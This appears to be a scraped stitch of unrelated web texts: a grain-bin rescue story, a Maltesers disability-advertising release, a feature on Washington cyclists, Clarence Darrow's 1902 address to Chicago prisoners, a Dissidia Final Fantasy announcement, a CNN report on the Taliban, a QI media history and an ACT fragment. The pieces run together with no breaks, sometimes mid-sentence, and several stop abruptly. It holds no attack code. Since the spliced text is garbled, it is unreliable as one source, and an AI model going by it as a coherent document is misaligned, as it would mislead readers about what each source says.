The makeshift partition created a shield around Will’s face, but it wouldn’t last long. Still, no one else wanted to take the risk of entering the corn without training or safety gear, until another rescue worker finally joined Tom inside the bin. His entry joggled the corn and caused it to start flowing again, knocking over the partitions. Tom scrambled to put the plywood back in place in the 110-degree heat. He was drenched in sweat in his insulated pants.
Ten minutes later a rescue crew from Rockford arrived. The workers specialized in grain-bin rescues. They had brought special plastic partitions that locked together and were designed to wedge into the corn. The crew hammered the four-foot long plastic walls into the corn with rubber mallets, creating a cage around Will.
The grain shifted below the surface. Each movement seemed to set off more corn falling from top the edges of the funnel above. It rained on the workers, and Will told them: “You guys are gonna die in here with me if you don’t get the hell out of here.”
There must have been a dozen rescue workers around and above him, or outside. He couldn’t believe how many were digging their asses off for him.
Meanwhile, more rescue workers sawed a series of pyramid-shaped holes into the outside of the bin to drain more kernels. Trucks below loaded up with corn and hauled it off to dump nearby in a big pile.
Will felt his right leg begin twisting in the shifting corn. It felt like it was going to pop at the knee. His lower spine throbbed with pain because of the pressure. With large industrial vacuums with hoses, the workers began sucking the corn out
|
in marketing campaigns, the media, in advertising and in public culture.
“We hope this step by Mars is the first of many. The purple pound is worth over £200 billion a year, and we’d like to see more companies recognising the spending power of disabled consumers.”
Emily Yates, presenter and disability advocate said: “Disability is a subject that is often dealt with in a really serious manner, which of course is sometimes needed. For those of us with disabilities though, it is important to see the light side of our impairments and many of us have hilariously awkward and unpredictable stories to tell that have often got us noticed for all the wrong reasons!
“Disability needs to be normalised, understood and accepted and campaigns like the one Maltesers has created are dong a fantastic job of making sure perspectives are changing.”
The ads were created after the MALTESERS® brand won a highly sought-after advertising slot during the Paralympic Games’ Opening Ceremony in a competition linked to Channel 4’s ‘Year of Disability’ and Superhumans Wanted initiative. The competition was designed to encourage brands and agencies to feature disability in their ad campaigns.This is the summer of women on bicycles riding around town free as anything, wearing long dresses or skirts, sandals or even high heels, hair flowing helmet-free, pedaling not-too-hard and sitting upright on their old-school bikes, the kind with front baskets where they put their laptops, and handlebars that curve gently back in a bow shaped like the upper line of someone's perfectly drawn red lipstick.
They never appear to sweat. They make you think you are in Paris or Rome. No, they make you think you are in a movie about Paris or Rome.
This is the summer of men rolling down 14th Street NW with briefcases in the grocery pannier, ties flipped back over the shoulder by the breeze, wingtips inserted into toe clips. In the movie version, they would return home at day's end with a baguette under one arm and maybe a bouquet of flowers. Instead, their left hand grips the handle of a Whole Foods bag while their right presses a cellphone to the ear.
This summer in Bicycle Washington, it's back to the future. Old bikes are back, new bikes look old. The riders, too, seem sketched from another age.
The machine of the moment is the 1969 Schwinn Deluxe Racer, picked up on Craigslist for $75, with lightly rusted metal fenders and a three-speed Sturmey-Archer shifter on the upright handlebars. Or it's a new Jamis Commuter, or a Breezer Villager, this year's models that aren't ashamed of the primitive, durable genius of an old Schwinn.
"Somewhere along the line, we made biking a hobby and a sport instead of a way to get around," says Alexandra Dickson, an architect who commutes from Southwest Washington to her downtown office on a blue Breezer Villager that she calls Babe, after Babe the Blue Ox. "I'd like to see it get back to being a way of getting around."
Shopping by bike, she says, "feels more like an adventure than a chore." The other day, she tied a milk crate to her rack, biked to a hardware store on Pennsylvania Avenue and carried home a flat of flowers on the crate.
Riding to the office, sometimes "I wear heels and skirts," she says, "and I'm not the only girl in town who does. It's like, Why not? I'm not running. I'm just using the pads of my feet.... People need to see bikers dressed like that, so they can say, 'I can do that.' "
She says: "When you first take off your training wheels, the first excitement of being allowed to ride to school -- that was the first level of freedom. I think that's something you never lose."
This is the summer of bike-parking attendants at Nationals games, of a new fleet of communal unisex Treks at the U.S. House of Representatives, of a proposed bike-share program in the city, of street musicians strapping keyboards and speakers to milk crates on beater bikes, of thick, bright orange German-made contraptions pedaled by diplomats, with metal child-seats built on back and metal cargo carriers installed in front.
This is the summer when every day you witness astonishing feats of two-wheeled conveyance of everything from 30-packs of Bud Ice on the handlebars to gift baskets of fruit on the homemade wood-and-PVC-pipe trailer behind. This summer it makes perfect sense that columnist Bob Novak, after hitting a pedestrian with his Corvette, should have the police called on him by a lawyer commuting by bicycle.
Your first three-speed was a Schwinn. It was built to live as long as you did -- except you left yours behind in some dank, enchanted basement of discarded Flexible Flyers, little red wagons, scooters, badminton nets, croquet mallets and fishing poles.B U R E A U O F P U B L I C S E C R E T S
CRIME AND CRIMINALS
Address to the Prisoners
in the Chicago Jail
by
Clarence Darrow
Preface
This address is a stenographic report of a talk made to the prisoners in the Chicago jail. Some of my good friends have insisted that while my theories are true, I should not have given them to the inmates of a jail.
Realizing the force of the suggestion that the truth should not be spoken to all people, I have caused these remarks to be printed on rather good paper and in a somewhat expensive form. In this way the truth does not become cheap and vulgar, and is only placed before those whose intelligence and affluence will prevent their being influenced by it.
Clarence Darrow
Crime and Criminals
If I looked at jails and crimes and prisoners in the way the ordinary person does, I should not speak on this subject to you. The reason I talk to you on the question of crime, its cause and cure, is because I really do not in the least believe in crime. There is no such thing as a crime as the word is generally understood. I do not believe there is any sort of distinction between the real moral condition of the people in and out of jail. One is just as good as the other. The people here can no more help being here than the people outside can avoid being outside. I do not believe that people are in jail because they deserve to be. They are in jail simply because they cannot avoid it on account of circumstances which are entirely beyond their control and for which they are in no way responsible.
I suppose a great many people on the outside would say I was doing you harm if they should hear what I say to you this afternoon, but you cannot be hurt a great deal anyway, so it will not matter. Good people outside would say that I was really teaching you things that were calculated to injure society, but its worth while now and then to hear something different from what you ordinarily get from preachers and the like. These will tell you that you should be good and then you will get rich and be happy. Of course we know that people do not get rich by being good, and that is the reason why so many of you people try to get rich some other way, only you do not understand how to do it quite as well as the fellow outside.
There are people who think that everything in this world is an accident. But really there is no such thing as an accident. A great many folks admit that many of the people in jail ought not to be there, and many who are outside ought to be in. I think none of them ought to be here. There ought to be no jails, and if it were not for the fact that the people on the outside are so grasping and heartless in their dealings with the people on the inside, there would be no such institution as jails.
I do not want you to believe that I think all you people here are angels. I do not think that. You are people of all kinds, all of you doing the best you can, and that is evidently not very well you are people of all kinds and conditions and under all circumstances. In one sense everybody is equally good and equally bad. We all do the best we can under the circumstances. But as to the exact things for which you are sent here, some of you are guilty and did the particular act because you needed the money. Some of you did it because you are in the habit of doing it, and some of you because you are born to it, and it comes to be as natural as it does, for instance, for me to be good.
Most of you probably have nothing against me, and most of you would treat me the same as any other person would; probably better than some of the people on the outside would treat me, because you think I believe in you and they know I do not believe in them. While you would not have the least thing against me in the world you might pick my pockets. I do not think all of you would, but I think some of you would. You would not have anything against me, but thats your profession, a few of you. Some of the rest of you, if my doors were unlocked, might come in if you saw anything you wanted not out of malice to me, but because that is your trade. There is no doubt there are quite a number of people in this jail who would pick my pockets. And still I know this, that when I get outside pretty nearly everybody picks my pocket. There may be some of you who would hold up a man on the street, if you did not happen to have something else to do, and needed the money; but when I want to light my house or my office the gas company holds me up. They charge me one dollar for something that is worth twenty-five cents, and still all these people are good people; they are pillars of society and support the churches, and they are respectable.
When I ride on the street cars, I am held up I pay five cents for a ride that is worth two and a half cents, simply because a body of men have bribed the city council and the legislature, so that all the rest of us have to pay tribute to them.
If I do not wish to fall into the clutches of the gas trust and choose to burn oil instead of gas, then good Mr. Rockefeller holds me up, and he uses a certain portion of his money to build universities and support churches which are engaged in telling us how to be good.
Some of you are here for obtaining property under false pretenses yet I pick up a great Sunday paper and read the advertisements of a merchant prince Shirt waists for 39 cents, marked down from $3.00.
When I read the advertisements in the paper I see they are all lies. When I want to get out and find a place to stand anywhere on the face of the earth, I find that it has all been taken up long ago before I came here, and before you came here, and somebody says, Get off, swim into the lake, fly into the air; go anywhere, but get off. That is because these people have the police and they have the jails and judges and the lawyers and the soldiers and all the rest of them to take care of the earth and drive everybody off that comes in their way.
A great many people will tell you that all this is true, but that it does not excuse you. These facts do not excuse some fellow who reaches into my pocket and takes out a five dollar bill; the fact that the gas company bribes the members of the legislature from year to year, and fixes the law, so that all you people are compelled to be fleeced whenever you deal with them; the fact that the street car companies and the gas companies have control of the streets and the fact that the landlords own all the earth, they say, has nothing to do with you.
Let us see whether there is any connection between the crimes of the respectable classes and your presence in the jail. Many of you people are in jail because you have really committed burglary. Many of you, because you have stolen something; in the meaning of the law, you have taken some other persons property. Some of you have entered a store and carried off a pair of shoes because you did not have the price. Possibly some of you have committed murder. I cannot tell what all of you did. There are a great many people here who have done some of these things who really do not know themselves why they did them. I think I know why you did them every one of you; you did these things because you were bound to do them. It looked to you at the time as if you had a chance to do them or not, as you saw fit, but still after all you had no choice. There may be people here who had some money in their pockets and who still went out and got some more money in a way society forbids. Now you may not yourselves see exactly why it was you did this thing, but if you look at the question deeply enough and carefully enough you would see that there were circumstances that drove you to do exactly the thing which you did. You could not help it any more than we outside can help taking the positions that we take. The reformers who tell you to be good and you will be happy, and the people on the outside who have property to protect they think that the only way to do it is by building jails and locking you up in cells on week days and praying for you Sundays.
I think that all of this has nothing whatever to do with right conduct. I think it is very easily seen what has to do with right conduct. Some so-called criminals and I will use this word because it is handy, it means nothing to me I speak of the criminals who get caught as distinguished from the criminals who catch them some of these so-called criminals are in jail for the first offenses, but nine-tenths of you are in jail because you did not have a good lawyer and of course you did not have a good lawyer because you did not have enough money to pay a good lawyer. There is no very great danger of a rich man going to jail.
Some of you may be here for the first time. If we would open the doors and let you out, and leave the laws as they are today, some of you would be back tomorrow. This is about as good a place as you can get anyway. There are many people here who are so in the habit of coming that they would not know where else to go. There are people who are born with the tendency to break into jail every chance they get, and they cannot avoid it. You cannot figure out your life and see why it was, but still there is a reason for it, and if we were all wise and knew all the facts we could figure it out.
In the first place, there are a good many more people who go to jail in the winter time than in summer. Why is this? Is it because people are more wicked in winter? No, it is because the coal trust begins to get in its grip in the winter. A few gentlemen take possession of the coal, and unless the people will pay $7 or $8 a ton for something that is worth $3, they will have to freeze. Then there is nothing to do but break into jail, and so there are many more in jail in the winter than in summer. It costs more for gas in the winter because the nights are longer, and people go to jail to save gas bills. The jails are electric lighted. You may not know it, but these economic laws are working all the time, whether we know it or do not know it.
There are more people go to jail in hard times than in good times few people comparatively go to jail except when they are hard up. They go to jail because they have no other place to go. They may not know why, but it is true all the same. People are not more wicked in hard times. That is not the reason. The fact is true all over the world that in hard times more people go to jail than in good times, and in winter more people go to jail than in summer. Of course it is pretty hard times for people who go to jail at any time. The people who go to jail are almost always poor people people who have no other place to live first and last. When times are hard then you find large numbers of people who go to jail who would not otherwise be in jail.
Long ago Mr. Buckle, who was a great philosopher and historian, collected facts and he showed that the number of people who are arrested increased just as the price of food increased. When they put up the price of gas ten cents a thousand I do not know who will go to jail, but I do know that a certain number of people will go. When the meat combine raises the price of beef I do not know who is going to jail, but I know that a large number of people are bound to go. Whenever the Standard Oil Company raises the price of oil, I know that a certain number of girls who are seamstresses, and who work after night long hours for somebody else, will be compelled to go out on the streets and ply another trade, and I know that Mr. Rockefeller and his associates are responsible and not the poor girls in the jails.
First and last, people are sent to jail because they are poor. Sometimes, as I say, you may not need money at the particular time, but you wish to have thrifty forehanded habits, and do not always wait until you are in absolute want. Some of you people are perhaps plying the trade, the profession, which is called burglary. No man in his right senses will go into a strange house in the dead of night and prowl around with a dark lantern through unfamiliar rooms and take chances of his life if he has plenty of the good things of the world in his own home. You would not take any such chances as that. If a man had clothes in his clothes-press and beefsteak in his pantry, and money in the bank, he would not navigate around nights in houses where he knows nothing about the premises whatever. It always requires experience and education for this profession, and people who fit themselves for it are no more to blame than I am for being a lawyer. A man would not hold up another man on the street if he had plenty of money in his own pocket. He might do it if he had one dollar or two dollars, but he wouldnt if he had as much money as Mr. Rockefeller has. Mr. Rockefeller has a great deal better hold-up game than that.
The more that is taken from the poor by the rich, who have the chance to take it, the more poor people there are who are compelled to resort to these means for a livelihood. They may not understand it, they may not think so at once, but after all they are driven into that line of employment.
There is a bill before the legislature of this State to punish kidnapping of children with death. We have wise members of the legislature. They know the gas trust when they see it and they always see it they can furnish light enough to be seen, and this legislature thinks it is going to stop kidnapping of children by making a law punishing kidnapers of children with death. I dont believe in kidnapping children, but the legislature is all wrong. Kidnapping children is not a crime, it is a profession. It has been developed with the times. It has been developed with our modern industrial conditions. There are many ways of making money many new ways that our ancestors knew nothing about. Our ancestors knew nothing about a billion dollar trust; and here comes some poor fellow who has no other trade and he discovers the profession of kidnapping children.
This crime is born, not because people are bad; people dont kidnap other peoples children because they want the children or because they are devilish, but because they see a chance to get some money out of it. You cannot cure this crime by passing a law punishing by death kidnapers of children. There is one way to cure it. There is one way to cure all these offenses, and that is to give the people a chance to live. There is no other way, and there never was any other way since the world began, and the world is so blind and stupid that it will not see. If every man and woman and child in the world had a chance to make a decent, fair, honest living, there would be no jails, and no lawyers and no courts. There might be some persons here or there with some peculiar formation of their brain, like Rockefeller, who would do these things simply to be doing them; but they would be very, very few, and those should be sent to a hospital and treated, and not sent to jail, and they would entirely disappear in the second generation, or at least in the third generation.
I am not talking pure theory. I will just give you two or three illustrations.
The English people once punished criminals by sending them away. They would load them on a ship and export them to Australia. England was owned by lords and nobles and rich people. They owned the whole earth over there, and the other people had to stay in the streets. They could not get a decent living. They used to take their criminals and send them to Australia I mean the class of criminals who got caught. When these criminals got over there, and nobody else had come, they had the whole continent to run over, and so they could raise sheep and furnish their own meat, which is easier than stealing it; these criminals then became decent, respectable people because they had a chance to live. They did not commit any crimes. They were just like the English people who sent them there, only better. And in the second generation the descendants of those criminals were as good and respectable a class of people as there were on the face of the earth, and then they began building churches and jails themselves.
A portion of this country was settled in the same way, landing prisoners down on the southern coast; but when they got here and had a whole continent to run over and plenty of chances to make a living, they became respectable citizens, making their own living just like any other citizen in the world; but finally these descendants of the English aristocracy, who sent the people over to Australia, found out they were getting rich, and so they went over to get possession of the earth as they always do, and they organized land syndicates and got control of the land and ores, and then they had just as many criminals in Australia as they did in England. It was not because the world had grown bad; it was because the earth had been taken away from the people.
Some of you people have lived in the country. Its prettier than it is here. And if you have ever lived on a farm you understand that if you put a lot of cattle in a field, when the pasture is short they will jump over the fence; but put them in a good field where there is plenty of pasture, and they will be law-abiding cattle to the end of time. The human animal is just like the rest of the animals, only a little more so. The same thing that governs in the one governs in the other.
Everybody makes his living along the lines of least resistance. A wise man who comes into a country early sees a great undeveloped land. For instance, our rich men twenty-five years ago saw that Chicago was small and knew a lot of people would come here and settle, and they readily saw that if they had all the land around here it would be worth a good deal, so they grabbed the land. You cannot be a landlord because somebody has got it all. You must find some other calling. In England and Ireland and Scotland less than five percent own all the land there is, and the people are bound to stay there on any kind of terms the landlords give. They must live the best they can, so they develop all these various professions burglary, picking pockets and the like.
Again, people find all sorts of ways of getting rich. These are diseases like everything else. You look at people getting rich, organizing trusts, and making a million dollars, and somebody gets the disease and he starts out. He catches it just as a man catches the mumps or the measles; he is not to blame, it is in the air. You will find men speculating beyond their means, because the mania of money-getting is taking possession of them. It is simply a disease; nothing more, nothing less. You cannot avoid catching it; but the fellows who have control of the earth have the advantage of you. See what the law is; when these men get control of things, they make the laws. They do not make the laws to protect anybody; courts are not instruments of justice; when your case gets into court it will make little difference whether you are guilty or innocent; but its better if you have a smart lawyer. And you cannot have a smart lawyer unless you have money. First and last its a question of money. Those men who own the earth make the laws to protect what they have. They fix up a sort of fence or pen around what they have, and they fix the law so the fellow on the outside cannot get in. The laws are really organized for the protection of the men who rule the world. They were never organized or enforced to do justice. We have no system for doing justice, not the slightest in the world.
Let me illustrate: Take the poorest person in this room. If the community had provided a system of doing justice the poorest person in this room would have as good a lawyer as the richest, would he not? When you went into court you would have just as long a trial, and just as fair a trial as the richest person in Chicago. Your case would not be tried in fifteen or twenty minutes, whereas it would take fifteen days to get through with a rich mans case.
Then if you were rich and were beaten your case would be taken to the Appellate Court. A poor man cannot take his case to the Appellate Court; he has not the price; and then to the Supreme Court, and if he were beaten there he might perhaps go to the United States Supreme Court. And he might die of old age before he got into jail. If you are poor, its a quick job. You are almost known to be guilty, else you would not be there. Why should anyone be in the criminal court if he were not guilty? He would not be there if he could be anywhere else. The officials have no time to look after these cases. The people who are on the outside, who are running banks and building churches and making jails, they have no time to examine 600 or 700 prisoners each year to see whether they are guilty or innocent. If the courts were organized to promote justice the people would elect somebody to defend all these criminals, somebody as smart as the prosecutor and give him as many detectives and as many assistants to help, and pay as much money to defend you as to prosecute you. We have a very able man for States Attorney, and he has many assistants, detectives and policemen without end, and judges to hear the cases everything handy.
Most of our criminal code consists in offenses against property. People are sent to jail because they have committed a crime against property. It is of very little consequence whether one hundred people more or less go to jail who ought not to go you must protect property, because in this world property is of more importance than anything else.
How is it done? These people who have property fix it so they can protect what they have. When somebody commits a crime it does not follow that he has done something that is morally wrong. The man on the outside who has committed no crime may have done something. For instance: to take all the coal in the United States and raise the price two dollars or three dollars when there is no need of it, and thus kills thousands of babies and send thousands of people to the poorhouse and tens of thousands to jail, as is done every year in the United States this is a greater crime than all the people in our jails ever committed, but the law does not punish it. Why? Because the fellows who control the earth make the laws. If you and I had the making of the laws, the first thing we would do would be to punish the fellow who gets control of the earth. Nature put this coal in the ground for me as well as for them and nature made the prairies up here to raise wheat for me as well as for them, and then the great railroad companies came along and fenced it up.
Most all of the crimes for which we are punished are property crimes. There are a few personal crimes, like murder but they are very few. The crimes committed are mostly against property. If this punishment is right the criminals must have a lot of property. How much money is there in this crowd? And yet you are all here for crimes against property. The people up and down the Lake Shore have not committed crime, still they have so much property they dont know what to do with it. It is perfectly plain why these people have not committed crimes against property; they make the laws and therefore do not need to break them. And in order for you to get some property you are obliged to break the rules of the game. I dont know but what some of you may have had a very nice chance to get rich by carrying the hod for one dollar a day, twelve hours. Instead of taking that nice, easy profession, you are a burglar. If you had been given a chance to be a banker you would rather follow that. Some of you may have had a chance to work as a switchman on a railroad where you know, according to statistics, that you cannot live and keep all your limbs more than seven years, and you get fifty dollars a month for taking your lives in your hands, and instead of taking that lucrative position you choose to be a sneak thief, or something like that. Some of you made that sort of choice. I dont know which I would take if I was reduced to this choice. I have an easier choice.
I will guarantee to take from this jail, or any jail in the world, five hundred men who have been the worst criminals and law breakers who ever got into jail, and I will go down to our lowest streets and take five hundred of the most hardened prostitutes, and go out somewhere where there is plenty of land, and will give them a chance to make a living, and they will be as good people as the average in the community.
There is a remedy for the sort of condition we see here. The world never finds it out, or when it does find it out it does not enforce it. You may pass a law punishing every person with death for burglary, and it will make no difference. Men will commit it just the same. In England there was a time when one hundred different offenses were punishable with death, and it made no difference. The English people strangely found out that so fast as they repealed the severe penalties and so fast as they did away with punishing men by death, crime decreased instead of increased; that the smaller the penalty the fewer the crimes.
Hanging men in our county jails does not prevent murder. It makes murderers.
And this has been the history of the world. Its easy to see how to do away with what we call crime. It is not so easy to do it. I will tell you how to do it. It can be done by giving the people a chance to live by destroying special privileges. So long as big criminals can get the coal fields, so long as the big criminals have control of the city council and get the public streets for street cars and gas rights, this is bound to send thousands of poor people to jail. So long as men are allowed to monopolize all the earth, and compel others to live on such terms as these men see fit to make, then you are bound to get into jail.
The only way in the world to abolish crime and criminals is to abolish the big ones and the little ones together. Make fair conditions of life. Give men a chance to live. Abolish the right of private ownership of land, abolish monopoly, make the world partners in production, partners in the good things of life. Nobody would steal if he could get something of his own some easier way. Nobody will commit burglary when he has a house full. No girl will go out on the streets when she has a comfortable place at home. The man who owns a sweatshop or a department store may not be to blame himself for the condition of his girls, but when he pays them five dollars, three dollars, and two dollars a week, I wonder where he thinks they will get the rest of their money to live. The only way to cure these conditions is by equality. There should be no jails. They do not accomplish what they pretend to accomplish. If you would wipe them out, there would be no more criminals than now. They terrorize nobody. They are a blot upon civilization, and a jail is an evidence of the lack of charity of the people on the outside who make the jails and fill them with the victims of their greed.
CLARENCE DARROW
1902
Clarence Darrow (1857-1938) is most well known for his role in the Scopes and Leopold-Loeb trials, but he also defended Eugene Debs, Big Bill Haywood and many other labor, antiwar and civil rights cases. More extensive discussion of his views on crime and punishment can be found in his books Resist Not Evil (1903) and Crime: Its Cause and Treatment (1922).
No copyright. This text is now in the public domain and may be reproduced freely.
[Anti-Prison Resources]
[CROSSFIRE]It’s finally been announced, folks! Following a special Square Enix live stream earlier today, the company has confirmed that Dissidia Final Fantasy Arcade will be coming to PlayStation 4 next year. Titled Dissidia Final Fantasy NT, this team brawler will feature over 20 characters from Final Fantasy’s history, with Square Enix announcing that FFXV’s Noctis will also be on the roster.
Dissidia Final Fantasy NT will be playable at this year’s E3, with the demo on the show floor featuring the heroes from Final Fantasy I through to XIV. It will also be part of the E3 Coliseum showcase, with Echo Fox|Justin Wong and EG|K-Brad fighting it out in a special exhibition on June 13th. There will also be a special Dissidia NT panel during the E3 Coliseum, featuring producer Ichiro Hazama and director Takeo Kujiraoka.
The arcade and console versions will receive continuous development, with new characters appearing in the arcade version before they are ported to console. So far, Dissidia NT has the release date of “early 2018,” so expect more news either at E3 or Tokyo Games Show later this year.
Source: PlayStationWASHINGTON (CNN) -- Nearly seven years after their defeat by U.S. forces, the Taliban have regrouped and have formed a "resilient insurgency," according to a new Pentagon report on security in Afghanistan.
Defense Secretary Robert Gates says Pakistan recognizes that the attackers are a problem.
On the same day the number of U.S. and allied troops killed in Afghanistan in June has reached 40, the highest monthly toll of the 7-year-old war.
"The Report Toward Security and Stability in Afghanistan," the first progress report to Congress, says that although there has been some progress in battling the Taliban, setbacks are expected.
Although NATO and Afghan force operations kept the insurgency down in 2007 by killing or capturing key leaders and clearing out Taliban safe havens, the report predicted that the Taliban would be back in 2008.
"The Taliban is likely to maintain or even increase the scope and pace of its terrorist attacks and bombings in 2008," the report said.
The report looks at the progress through April, before the rise in violence seen over recent weeks.
On June 14, a suicide bomb at an Afghan prison in Kandahar freed hundreds of Taliban prisoners. There also have been numerous attacks on the restive Afghanistan-Pakistan border in recent weeks.
There are 32,000 U.S. troops in Afghanistan. About 14,000 serve as part of the larger NATO force, and 18,000 are separate, involved in training and on counterterrorism operations.
The report's authors highlight the eastern border town of Khost as an example of success by coalition forces. Once considered to be an ungovernable insurgent stronghold, the city has been turned around by security and reconstruction efforts, they say. But the report seems a bit outdated.
"It actually was not bad until a few months ago," Defense Secretary Robert Gates said this week. "This is a fairly recent phenomenon of seeing the numbers come across the border. After all, Khost was an example of a successful counterinsurgency."
The report's predictions for 2008 seem to be holding true. It describes a two-front insurgency, with the Taliban ruling in the south and a partnership of insurgent groups -- including al Qaeda -- in the east.
The confederation is made up of both Afghan and Pakistani-based groups with the shared goals of expelling outside military forces and the "imposition of a religiously conservative Pashtun-led government," it said.
The Pentagon report also says the progress of the Afghan army and national police is slow because of a lack of trainers and corruption.
Counter-narcotics also suffered a setback: Opium production increased "substantially" in 2007, the report says.
"Counter-narcotics efforts have resulted in gains over the past six years [but] the battle against drug traffickers is ongoing, and will be for some time," it says.
According to a 2007 U.N. survey, about a quarter of the earnings from opium go to farmers. The rest goes to district officials who collect taxes on the crop, to drug traffickers and to the insurgents and warlords who control the trade.
Taliban militants have increased their attacks this year. The top U.S. commander in southeastern Afghanistan, Maj. Gen. Jeffrey Schloesser, said Tuesday that attacks on his troops were up 40 percent in the first five months of 2008.
The latest casualty came when a coalition service member on a reconnaissance patrol in western Afghanistan was killed Thursday, the U.S.-led coalition said Friday.
The incident took place in the Gulistan District of Farah province. Five coalition and two Afghan soldiers were wounded.
Three U.S.-led troops southwest of Kabul in Wardak province were also killed Thursday.
U.S. Defense Secretary Robert Gates said Thursday that one of the reasons for the increase was that more people are "coming across the border from the frontier area [of Pakistan]."
Gates said he hoped a newly announced Pakistani effort to clamp down on Islamic militants in the country's northwestern tribal districts would improve the situation in Afghanistan.
"The ability of the Taliban and other insurgents to cross that border and not being under any pressure from the Pakistani side of the
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new series of questions on a wide variety of topics, which promises to prove that "everything you think you know is (still) wrong".[127]
The sixth QI book, 1,227 QI Facts To Blow Your Socks Off, a list of facts, was published on 1 November 2012. James Harkin, QI's chief researcher, co-wrote the book with Lloyd and Mitchinson.[128]
QI's first annual, The QI "E" Annual or The QI Annual 2008 was published by Faber and Faber on 1 November 2007, to coincide with the initial airing of the TV show's E series ( ISBN 978-0-571-23779-1.)[129] Succeeding years have seen the publication of F, G and H annuals, concurrent with the BBC show's chronology, though retrospective annuals on the first four letters of the alphabet have yet to be published. The covers, which feature various cartoon scenes starring caricatures of Fry and regular QI panellists, are produced by David Stoten (one of Roger Law's Spitting Image team), who also contributed to the annuals' contents. Many of said cover stars are also credited with contributing content to the annuals, which also provide a showcase for Rowan Atkinson's talents as a 'rubber-faced' comic, as well as the comic stylings of Newman and Husband from Private Eye, Viz's Chris Donald, Geoff Dunbar, Ted Dewan and The Daily Telegraph's Matt Pritchett.[130]
France [ edit ]
A French edition entitled Les autruches ne mettent pas la tête dans le sable : 200 bonnes raisons de renoncer à nos certitudes ("Ostriches don't put their heads in the sand: 200 good reasons to give up our convictions") was published by Dunod on 3 October 2007. ( ISBN 978-2-100-51732-9)[131] It is released as part of Dunod's "Cult.Science"/"Oh, les Sciences!" series, which also includes titles by Robert L. Wolke, Ian Stewart and Raymond Smullyan.[132]
Italy [ edit ]
An Italian edition entitled Il libro dell'ignoranza ("The book of ignorance") was published by Einaudi in 2007 and in 2009 the same publisher published Il libro dell'ignoranza sugli animali ("The book of ignorance about animals".)
US [ edit ]
On 7 August 2007, The Book of General Ignorance was published in America by Harmony Books. ( ISBN 0-307-39491-3) It features a sparser cover downplaying its links to the TV series, which had yet to be broadcast in the US. The book received glowing reviews from both Publishers Weekly[133] and The New York Times, which recommended it in its "Books Holiday Gift Guide".[134] (It subsequently entered the New York Times' "Hardcover Advice" best-seller charts at #10 on 9 December,[135] falling to #11 two weeks later where it stayed until mid-January, before falling out of the top 15 on 20 January.)[136]
DVDs [ edit ]
A number of DVDs related to QI have also been released, including interactive quizzes, and complete series releases.
Interactive quizzes [ edit ]
On 14 November 2005 an interactive QI DVD game, called QI: A Quite Interesting Game, was released by Warner Home Video. A second interactive game, QI: Strictly Come Duncing followed on the 26 November 2007, from Warner's Music division.[137] Both games feature Fry asking questions, and then explaining the answers in full QI-mode.
Series releases [ edit ]
United Kingdom [ edit ]
A DVD release for the first series was the direct result of an internet petition signed by 1,821 people, which persuaded the BBC of the interest in such a move.[138] Series A, was therefore released by BBC Worldwide's DVD venture, 2 entertain Ltd. on 6 November 2006 (as "QI: The Complete First Series.")[139] It contains a number of outtakes as well as the unbroadcast pilot.[139] Sales over the Christmas period, however (in stark contrast to The Book of General Ignorance, which topped the Amazon.co.uk best-seller list), were not as strong as hoped.[119] A lack of adequate advertising is thought to be to blame (and subsequent episodes of QI have since trailed the DVD), and may have factored in the label change for Series B.[119][140][141] Series B was released on 17 March 2008,[140][141] followed by Series C on 1 September.[142] In 2014 a message on the QI site read "Due to a number of copyright issues there are difficulties releasing further series of QI on DVD".[143]
On 14 December 2015 Network Distributing a video publishing company made an announcement on its website that it had made a deal with FremantleMedia so previously unreleased shows could be made available on DVD sometime in 2016; among the list was QI.[144] The DVD sets, released on 8 May 2017, were split into two initial volumes of series A-D and E-G, containing additional features including a 'Making of' feature, interviews and bloopers. Two additional sets, series H-J and K-M are scheduled for release on 23 October 2017.
Australia [ edit ]
A box set of series 1–3 (Series A-C) was released in September 2011.[145] Additionally, a single DVD titled "The Best Bits" containing clips from Series G was released 3 June 2010.[146] Two years later a three DVD set labelled as "Series 9" was released in August 2012, containing the Series H episodes.[147] The Series 9 DVD title was later changed to "The H Series"[148] and The Series J was released also on 5 March 2014.[149]
^ This DVD was originally released as "Series 9" but later had its name changed to "The H Series".
Online releases [ edit ]
United Kingdom
Series J–M are available in HD on Netflix but can only be streamed in the United Kingdom and Ireland. [156] [157]
Series N was available through the BBC Store but no longer due to the store's closure in 2017. [158]
Series L–N are available on Amazon Video but can only be streamed in the United Kingdom and Ireland. [159]
Additionally UKTV Play also offers a number of episodes that have been repeated on Dave on its on-demand service.[160]
United States
Series A through G are available on Acorn TV and Series I, J and K are available on Hulu but can only be streamed in the United States.[161][162]
Other media [ edit ]
Since 10 February 2007, a weekly QI column has run in The Daily Telegraph newspaper. Fifty-two columns were planned, originally alphabetically themed like the TV series and running from A to Z twice, but the feature is ongoing and was recently re-launched in the newspaper's Saturday magazine and online.[163] A QI feature has appeared in BBC MindGames magazine since its fifth issue, and revolves around facts and questions in the General Ignorance-mould. There is also a weekly QI linked multiple choice question featured in the Radio Times, with the solution printed in the feedback section. QI also has an official website, QI.com, which features facts, forums and other information. It also links to QI's internet show QI News, a parody news show which broadcasts "News" items about things which are "quite interesting".[164] QI News stars Glenn Wrage and Katherine Jakeways as the newsreaders, Bob Squire and Sophie Langton.[164]
On 22 December 2010, Faber and Faber released a QI App. Amongst the features of the App are a library containing the complete contents of The Book of General Ignorance, The Book of Animal Ignorance and The QI Book of the Dead, arranged as 56 "themed book" on a customisable scrollable shelf. There is also a rolling selection of quotes from Advanced Banter. The App also allows users send interesting information to the QI elves in the form of "postcards" and can be rated on the "Interestingometer".[121][165] The top 10 most popular facts every week are listed on the QI website.[166]
The QI Test [ edit ]
The QI Test was a planned spin-off version of QI that was to be broadcast on BBC Two. Created by Lloyd, Talkback Thames' Dave Morely and former QI Commercial Director Justin Gayner, The QI Test differed from QI in that it would have featured members of the public as contestants instead of comedians and celebrities. It would have been broadcast during the daytime schedules. The pilot was not hosted by Fry and was recorded in November 2009, but a series has yet to be broadcast.[167]
^ Alan Davies was absent for the recording of this episode, as he did not want to miss his favourite football team, Arsenal, playing in the Champions League final that same evening. He did however make an appearance through pre-recorded material, which ended with him being 'teleported' to the match as he tested his buzzer.With all the commotion regarding the Redesigned PSAT and SAT, it’s easy to forget about the evolving nature of the ACT. Several “enhancements” have slowly made their way into the test since the ACT folks in Iowa announced changes in 2013.
